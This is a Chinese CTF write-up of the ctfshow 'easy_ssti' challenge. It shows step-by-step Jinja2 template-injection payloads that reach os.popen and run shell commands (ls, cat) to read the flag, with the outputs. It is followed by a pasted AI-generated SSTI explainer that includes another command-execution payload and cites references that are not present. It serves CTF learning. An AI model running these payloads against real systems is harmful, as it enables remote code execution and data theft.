easy_ssti_ctfshow_2023愚人杯

文章讲述了在一场CTF挑战中,通过服务器端请求注入(SSTI)技术,逐步获取os对象、popen函数权限,进而遍历文件目录并找到flag的过程。

https://ctf.show/challenges#easy_ssti-3969

2023愚人杯

0aaf80533d9943b02fa2989bdc5aa7e

有提示app.zip,访问

https://1f660587-5340-4b20-b929-c4549d9a5d4b.challenge.ctf.show/app.zip

得到压缩包,拿到一个py文件

aa7d335ec9c0084ccad97c9cc9dcf1a

可以看到参数名是name,对参数进行筛选,包含ge或者不包含f

访问

/hello/<name>

下面想办法找到一个function

  • payload
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()}}

f74e0c282dbe737b541a2eaf0e1a185

其中<class 'os._wrap_close'>就是os对象类

这里可以自己写段代码找找os在第几位

ori_str = """这里面就放网页复制的,篇幅原因我不放进去"""
ori_list = ori_str.split(",")
for index, item in enumerate(ori_list):
    if "os._wrap_close" in item:
        print(index)

0eef9cc9051148d8bef87a0c31c5ebe

成功拿到os对象类

48edee4f0f78f0e1a9f0d52314e5061

如何拿到popen函数?

先获取对象的__init__属性,接着使用__globals__获取函数作用域下方法,里面则包含popen

https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}

img

下面就可以为所欲为了


img

  • 获取当前文件目录
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

hello app.py app.zip templates
  • 获取上级文件目录
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd .. && ls').read()}}

# 先cd ..回到上级目录 再用ls读取


hello app bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

发现flag了,读取flag文件,因为屏蔽了f,所有这里使用通配符

https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd .. && cat *lag').read()}}

img

<think> 嗯,用户想了解ez_SSTI的详细信息。从用户提供的引用资料来看,这是一个与SSTI(服务器端模板注入)相关的主题。 用户引用了五篇资料,其中提到SSTI漏洞利用、常见模板引擎(如Jinja2、EJS)以及具体CTF题目案例。特别是引用[2]明确提到了"[GYCTF2020]Ez_Express"这个CTF题目,而引用[5]展示了一个典型的SSTI利用payload。 结合资料来看,ez_SSTI应该是指"简易的SSTI漏洞利用"或"入门级SSTI挑战",常见于CTF比赛。需要为用户梳理几个关键点: 1)首先要解释SSTI的基本概念(引用[1]提到模板引擎原理) 2)说明漏洞成因(引用[3][4]展示了变量污染和渲染函数问题) 3)给出具体利用示例(引用[5]的payload很有代表性) 用户可能是网络安全学习者或CTF选手,需要实战性内容。考虑到SSTI在不同模板引擎中的差异,准备重点介绍最常见的Jinja2模板案例,并补充EJS的特性(引用[4]提到其渲染函数漏洞)。 在防御部分考虑强调输入过滤的重要性,因为所有引用都显示出漏洞本质是用户输入未经处理直接进入模板渲染。最后生成的扩展问题应该覆盖漏洞检测和不同语言场景,这样能帮助用户建立完整知识框架。 特别注意要区分"ez_SSTI"作为漏洞利用技巧和作为CTF题目的双重含义,用户提供的引用资料同时涉及这两个层面。 </think> 根据引用资料,**ez_SSTI**通常指基于特定框架(如Express.js)的简易服务器端模板注入(SSTI)漏洞利用场景。以下是综合解析: --- ### **一、ez_SSTI 核心概念** 1. **SSTI 定义** 服务器端模板注入(SSTI)是攻击者通过操纵模板引擎的输入,注入恶意代码以执行服务端命令的漏洞。模板引擎(如Jinja2、EJS)将用户数据与模板结合生成动态内容时,若未严格过滤输入,会导致代码执行[^1][^4]。 2. **ez_SSTI 场景** 常见于CTF题目(如`[GYCTF2020]Ez_Express`),利用框架(如Node.js的Express)的特定模板引擎(如EJS、Jinja2)漏洞,通过构造恶意输入实现RCE(远程代码执行)[^2][^5]。 --- ### **二、漏洞利用原理** #### **1. 漏洞成因** - **未过滤的用户输入**:用户输入直接拼接至模板中(如`{{ user_input }}`)。 - **危险的模板函数**:模板引擎提供内置函数(如Python的`__globals__`、`os.popen`),可被链式调用执行系统命令[^3][^5]。 #### **2. 关键利用步骤(以EJS/Jinja2为例)** ```python # Jinja2 利用Payload示例(获取系统命令执行结果) {% print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")()) %}[^5] ``` 1. **探测模板引擎**:通过报错信息或特殊语法(如`{{7*7}}`)判断引擎类型。 2. **查找内置对象**:利用`__globals__`获取全局对象(如`os`模块)。 3. **执行系统命令**:通过`popen()`、`system()`等函数调用命令。 #### **3. EJS引擎的特殊性** EJS的`render()`函数存在选项合并漏洞,攻击者可覆盖模板选项实现沙盒逃逸: ```javascript // 通过数据对象覆盖模板选项(如输出格式) utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA); [^4] ``` --- ### **三、常见应用场景** 1. **CTF竞赛**:如`[GYCTF2020]Ez_Express`题目,通过访问`/info`路由触发漏洞读取文件[^2]。 2. **真实渗透测试**:攻击者利用Web应用的模板渲染功能获取服务器权限。 3. **框架漏洞研究**:分析Express、Flask等框架的模板引擎安全性。 --- ### **四、防御措施** 1. **输入过滤**:禁止用户输入包含模板语法字符(如`{ {`、`{%`)。 2. **沙盒隔离**:限制模板执行环境,禁用危险函数(如`os`、`eval`)。 3. **改用静态模板**:对固定内容使用预编译模板。 --- ### **五、相关工具与资源** - **Payload生成**:使用[Tplmap](https://github.com/epinna/tplmap)自动探测并利用SSTI。 - **学习资料**: - [Jinja2 SSTI漏洞详解](https://www.cnblogs.com/20175211lyz/p/12659738.html)[^3] - [EJS引擎漏洞分析](https://blog.youkuaiyun.com/cjdgg/article/details/119769076)[^2][^4] ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

d0ublecl1ck_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值